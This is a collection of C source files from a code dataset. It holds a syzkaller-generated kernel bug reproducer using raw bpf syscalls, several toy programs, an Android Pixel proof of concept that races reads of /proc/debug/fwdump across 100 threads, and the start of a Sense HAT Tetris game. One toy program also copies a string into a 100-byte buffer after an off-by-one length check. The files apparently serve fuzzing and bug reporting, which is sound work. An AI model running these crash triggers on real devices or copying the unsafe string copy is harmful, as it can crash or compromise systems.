#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <signal.h>
#include <stdarg.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mount.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
__attribute__((noreturn)) static void doexit(int status)
{
volatile unsigned i;
syscall(__NR_exit_group, status);
for (i = 0;; i++) {
}
}
#include <errno.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
const int kFailStatus = 67;
const int kRetryStatus = 69;
static void fail(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit((e == ENOMEM || e == EAGAIN) ? kRetryStatus : kFailStatus);
}
static void exitf(const char* msg, ...)
{
int e = errno;
va_list args;
va_start(args, msg);
vfprintf(stderr, msg, args);
va_end(args);
fprintf(stderr, " (errno %d)\n", e);
doexit(kRetryStatus);
}
static uint64_t current_time_ms()
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
fail("clock_gettime failed");
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir()
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
fail("failed to mkdtemp");
if (chmod(tmpdir, 0777))
fail("failed to chmod");
if (chdir(tmpdir))
fail("failed to chdir");
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
if (!write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma")) {
}
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
if (!write_file("/syzcgroup/cpu/cgroup.clone_children", "1")) {
}
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_binfmt_misc()
{
if (!write_file("/proc/sys/fs/binfmt_misc/register",
":syz0:M:0:syz0::./file0:")) {
}
if (!write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:yz1::./file0:POC")) {
}
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = 160 << 20;
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 8 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
}
int wait_for_loop(int pid)
{
if (pid < 0)
fail("sandbox fork failed");
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_cgroups();
setup_binfmt_misc();
sandbox_common();
if (unshare(CLONE_NEWNET)) {
}
loop();
doexit(1);
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(%d, SOCK_STREAM, IPPROTO_TCP)", family);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
fail("getsockopt(IPT_SO_GET_INFO)");
}
if (table->info.size > sizeof(table->replace.entrytable))
fail("table size is too large: %u", table->info.size);
if (table->info.num_entries > XT_MAX_ENTRIES)
fail("too many counters: %u", table->info.num_entries);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
fail("getsockopt(IPT_SO_GET_ENTRIES)");
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(%d, SOCK_STREAM, IPPROTO_TCP)", family);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
fail("getsockopt(IPT_SO_GET_INFO)");
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
fail("getsockopt(IPT_SO_GET_ENTRIES)");
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
fail("setsockopt(IPT_SO_SET_REPLACE)");
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)");
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
fail("getsockopt(ARPT_SO_GET_INFO)");
}
if (table->info.size > sizeof(table->replace.entrytable))
fail("table size is too large: %u", table->info.size);
if (table->info.num_entries > XT_MAX_ENTRIES)
fail("too many counters: %u", table->info.num_entries);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
fail("getsockopt(ARPT_SO_GET_ENTRIES)");
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)");
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
fail("getsockopt(ARPT_SO_GET_INFO)");
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
fail("getsockopt(ARPT_SO_GET_ENTRIES)");
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
fail("setsockopt(ARPT_SO_SET_REPLACE)");
}
close(fd);
}
#include <linux/if.h>
#include <linux/netfilter_bridge/ebtables.h>
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)");
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
fail("getsockopt(EBT_SO_GET_INIT_INFO)");
}
if (table->replace.entries_size > sizeof(table->entrytable))
fail("table size is too large: %u", table->replace.entries_size);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
fail("getsockopt(EBT_SO_GET_INIT_ENTRIES)");
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
fail("socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)");
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
fail("getsockopt(EBT_SO_GET_INFO)");
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
fail("getsockopt(EBT_SO_GET_ENTRIES)");
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
fail("setsockopt(EBT_SO_SET_ENTRIES)");
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exitf("opendir(%s) failed due to NOFILE, exiting", dir);
}
exitf("opendir(%s) failed", dir);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exitf("lstat(%s) failed", filename);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exitf("unlink(%s) failed", filename);
if (umount2(filename, MNT_DETACH))
exitf("umount(%s) failed", filename);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exitf("umount(%s) failed", dir);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exitf("rmdir(%s) failed", dir);
}
}
static void execute_one();
extern unsigned long long procid;
static void loop()
{
checkpoint_net_namespace();
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
char cgroupdir_cpu[64];
snprintf(cgroupdir_cpu, sizeof(cgroupdir_cpu), "/syzcgroup/cpu/syz%llu",
procid);
char cgroupdir_net[64];
snprintf(cgroupdir_net, sizeof(cgroupdir_net), "/syzcgroup/net/syz%llu",
procid);
if (mkdir(cgroupdir, 0777)) {
}
if (mkdir(cgroupdir_cpu, 0777)) {
}
if (mkdir(cgroupdir_net, 0777)) {
}
int pid = getpid();
char procs_file[128];
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir);
if (!write_file(procs_file, "%d", pid)) {
}
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir_cpu);
if (!write_file(procs_file, "%d", pid)) {
}
snprintf(procs_file, sizeof(procs_file), "%s/cgroup.procs", cgroupdir_net);
if (!write_file(procs_file, "%d", pid)) {
}
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
fail("failed to mkdir");
int pid = fork();
if (pid < 0)
fail("clone failed");
if (pid == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
if (chdir(cwdbuf))
fail("failed to chdir");
if (symlink(cgroupdir, "./cgroup")) {
}
if (symlink(cgroupdir_cpu, "./cgroup.cpu")) {
}
if (symlink(cgroupdir_net, "./cgroup.net")) {
}
execute_one();
doexit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
int res = waitpid(-1, &status, __WALL | WNOHANG);
if (res == pid) {
break;
}
usleep(1000);
if (current_time_ms() - start < 3 * 1000)
continue;
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
while (waitpid(-1, &status, __WALL) != pid) {
}
break;
}
remove_dir(cwdbuf);
reset_net_namespace();
}
}
struct thread_t {
int created, running, call;
pthread_t th;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static int collide;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
}
return 0;
}
static void execute(int num_calls)
{
int call, thread;
running = 0;
for (call = 0; call < num_calls; call++) {
for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
pthread_create(&th->th, &attr, thr, th);
}
if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
__atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &th->running, FUTEX_WAKE);
if (collide && call % 2)
break;
struct timespec ts;
ts.tv_sec = 0;
ts.tv_nsec = 20 * 1000 * 1000;
syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
if (__atomic_load_n(&running, __ATOMIC_RELAXED))
usleep((call == num_calls - 1) ? 10000 : 1000);
break;
}
}
}
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[1] = {0xffffffffffffffff};
unsigned long long procid;
void execute_call(int call)
{
long res;
switch (call) {
case 0:
syscall(__NR_socketpair, 0, 0, 0, 0x20000140);
break;
case 1:
syscall(__NR_socket, 0xa, 1, 0);
break;
case 2:
*(uint32_t*)0x20000280 = 0x12;
*(uint32_t*)0x20000284 = 0;
*(uint32_t*)0x20000288 = 4;
*(uint32_t*)0x2000028c = 1;
*(uint32_t*)0x20000290 = 0;
*(uint32_t*)0x20000294 = 1;
*(uint32_t*)0x20000298 = 0;
*(uint8_t*)0x2000029c = 0;
*(uint8_t*)0x2000029d = 0;
*(uint8_t*)0x2000029e = 0;
*(uint8_t*)0x2000029f = 0;
*(uint8_t*)0x200002a0 = 0;
*(uint8_t*)0x200002a1 = 0;
*(uint8_t*)0x200002a2 = 0;
*(uint8_t*)0x200002a3 = 0;
*(uint8_t*)0x200002a4 = 0;
*(uint8_t*)0x200002a5 = 0;
*(uint8_t*)0x200002a6 = 0;
*(uint8_t*)0x200002a7 = 0;
*(uint8_t*)0x200002a8 = 0;
*(uint8_t*)0x200002a9 = 0;
*(uint8_t*)0x200002aa = 0;
*(uint8_t*)0x200002ab = 0;
res = syscall(__NR_bpf, 0, 0x20000280, 0x2c);
if (res != -1)
r[0] = res;
break;
case 3:
*(uint32_t*)0x20000180 = r[0];
*(uint64_t*)0x20000188 = 0x20000000;
*(uint64_t*)0x20000190 = 0x20000140;
*(uint64_t*)0x20000198 = 0;
syscall(__NR_bpf, 2, 0x20000180, 0x20);
break;
case 4:
*(uint32_t*)0x20000180 = r[0];
*(uint64_t*)0x20000188 = 0x20000080;
*(uint64_t*)0x20000190 = 0x20000140;
*(uint64_t*)0x20000198 = 0;
syscall(__NR_bpf, 2, 0x20000180, 0x20);
break;
}
}
void execute_one()
{
execute(5);
collide = 1;
execute(5);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
char* cwd = get_current_dir_name();
for (;;) {
if (chdir(cwd))
fail("failed to chdir");
use_temporary_dir();
do_sandbox_none();
}
}
|
the_stack_data/722558.c
|
/* */
#include <stdio.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/poll.h>
#include <sys/resource.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <alloca.h>
#include <arpa/inet.h>
#include <arpa/tftp.h>
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <ifaddrs.h>
#include <libgen.h>
#include <locale.h>
#include <net/if.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <poll.h>
int main(void){return 0;}
|
the_stack_data/92326244.c
|
#include <stdio.h>
#include <string.h>
int main (void) {
char string[] = "hello world";
char temp;
int i, j;
int n = strlen(string);
printf("String before sorting: %s \n", string);
for (i = 0; i < n-1; i++) {
for (j = i+1; j < n; j++) {
if (string[i] > string[j]) {
temp = string[i];
string[i] = string[j];
string[j] = temp;
}
}
}
printf("String after sorting: %s \n", string);
return 0;
}
|
the_stack_data/232955640.c
|
#include <stdio.h>
#include <stdlib.h>
int comb(int,int);
int main()
{
int m,n,x;scanf("%d%d",&m,&n);x=comb(m,n);
printf("%d",x);
return 0;
}
int comb(int m,int n)
{
if(m==n)return 1;
if(n==1)return m;
if(n==0)return 1;
if(n>m/2)n=m-n;
return comb(m-1,n)+comb(m-1,n-1);
}
|
the_stack_data/104826954.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef char NAME[100];
typedef int AGE;
struct PERSON
{
NAME name;
AGE age;
};
void fillPersonData(struct PERSON * person, const char * name, int age){
if (strlen(name) <= 100){
strcpy(person->name, name);
}
person->age = age;
}
int main (int argc, const char * argv[]){
struct PERSON person;
if(argc < 3){
printf("Indique nombe y edad por favor \n");
return 1;
}
fillPersonData(&person, argv[1], atoi(argv[2]));
printf ("Name = %s \nAge = %d\n", person.name, person.age);
return 0;
}
|
the_stack_data/126701930.c
|
/*
* https://code.google.com/p/android/issues/detail?id=232250
* The poc was tested in pixel,
* google/sailfish/sailfish:7.1.1/NMF26U/3562008:user/release-keys
* [email protected], 20170116
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>
#include <pthread.h>
#define DEBUG
#ifdef DEBUG
#define LOG(fmt, ...) do { \
printf("%s:%d: "fmt "\n", __FUNCTION__, \
__LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define LOG(fmt, ...)
#endif
//char *infopath = "/proc/debugdriver/driverdump";
char *infopath = "/proc/debug/fwdump";
int test_read(int fd)
{
#define SIZE 1024
int ret;
char buf[SIZE] = {1};
ret = read(fd, buf, SIZE);
if(ret<0) {
printf("read fail %s\n",strerror(errno));
} else printf("succ read %d byte\n",ret);
return 0;
}
void ThreadFun(void) {
int fd = -1;
size_t count = 1000;
while(count-- > 0) {
fd = open(infopath, O_RDWR);
if(fd > 0) {
test_read(fd);
close(fd);
fd = -1;
} else printf("open fail %s\n",strerror(errno));
}
}
#define TC 100
void trigger()
{
int i, ret;
pthread_t tids[TC];
for(i = 0; i < TC; i++)
{
ret = pthread_create((pthread_t *) &tids[i], NULL, (void *) ThreadFun, NULL);
}
for(i = 0; i < TC; i++)
pthread_join(tids[i], NULL);
}
int
main(int argc, char *argv[])
{
trigger();
return 0;
}
|
the_stack_data/817634.c
|
void main(void) /* g */
{
int x;
int y[10];
x = y[2];
return;
}
|
the_stack_data/15215.c
|
#include <stdio.h>
#include <unistd.h>
#include <malloc.h>
int main(void)
{
volatile char *p;
p = malloc(100);
p[0] = 'A';
write(1, "Hallo", 5);
volatile float pi = 3.14159f;
pi = 10.0f*pi;
pi = pi / 100.0f;
return 0;
}
|
the_stack_data/34513128.c
|
#define _DEFAULT_SOURCE
#define _GNU_SOURCE
#include <dirent.h>
#include <fcntl.h>
#include <linux/fb.h>
#include <linux/input.h>
#include <poll.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/select.h>
#include <termios.h>
#include <time.h>
#include <unistd.h>
// The game state can be used to detect what happens on the playfield
#define GAMEOVER 0
#define ACTIVE (1 << 0)
#define ROW_CLEAR (1 << 1)
#define TILE_ADDED (1 << 2)
#define FRAME_BUFFER_SIZE 64
// Each pixel in the frame buffer is 16 bits (RGB565)
typedef __u16 fb_pixel_t;
// If you extend this structure, either avoid pointers or adjust
// the game logic allocate/deallocate and reset the memory
typedef struct {
bool occupied;
// The RGB565 color value of the tile
fb_pixel_t color;
} tile;
typedef struct {
unsigned int x;
unsigned int y;
} coord;
typedef struct {
coord const grid; // playfield bounds
unsigned long const uSecTickTime; // tick rate
unsigned long const rowsPerLevel; // speed up after clearing rows
unsigned long const initNextGameTick; // initial value of nextGameTick
unsigned int tiles; // number of tiles played
unsigned int rows; // number of rows cleared
unsigned int score; // game score
unsigned int level; // game level
tile *rawPlayfield; // pointer to raw memory of the playfield
tile **playfield; // This is the play field array
unsigned int state;
coord activeTile; // current tile
unsigned long tick; // incremeted at tickrate, wraps at nextGameTick
// when reached 0, next game state calculated
unsigned long nextGameTick; // sets when tick is wrapping back to zero
// lowers with increasing level, never reaches 0
} gameConfig;
// Sense HAT initialization state
typedef struct {
// File descriptor of the joystick input
int joy_fd;
// File descriptor of the LED frame buffer
int fb_fd;
// Fixed screen info of the LED frame buffer
struct fb_fix_screeninfo fb_fix_info;
// Variable screen info of the LED frame buffer
struct fb_var_screeninfo fb_var_info;
// The memory mapped frame buffer
fb_pixel_t *led_fb;
} sense_hat_t;
gameConfig game = {
.grid = {8, 8},
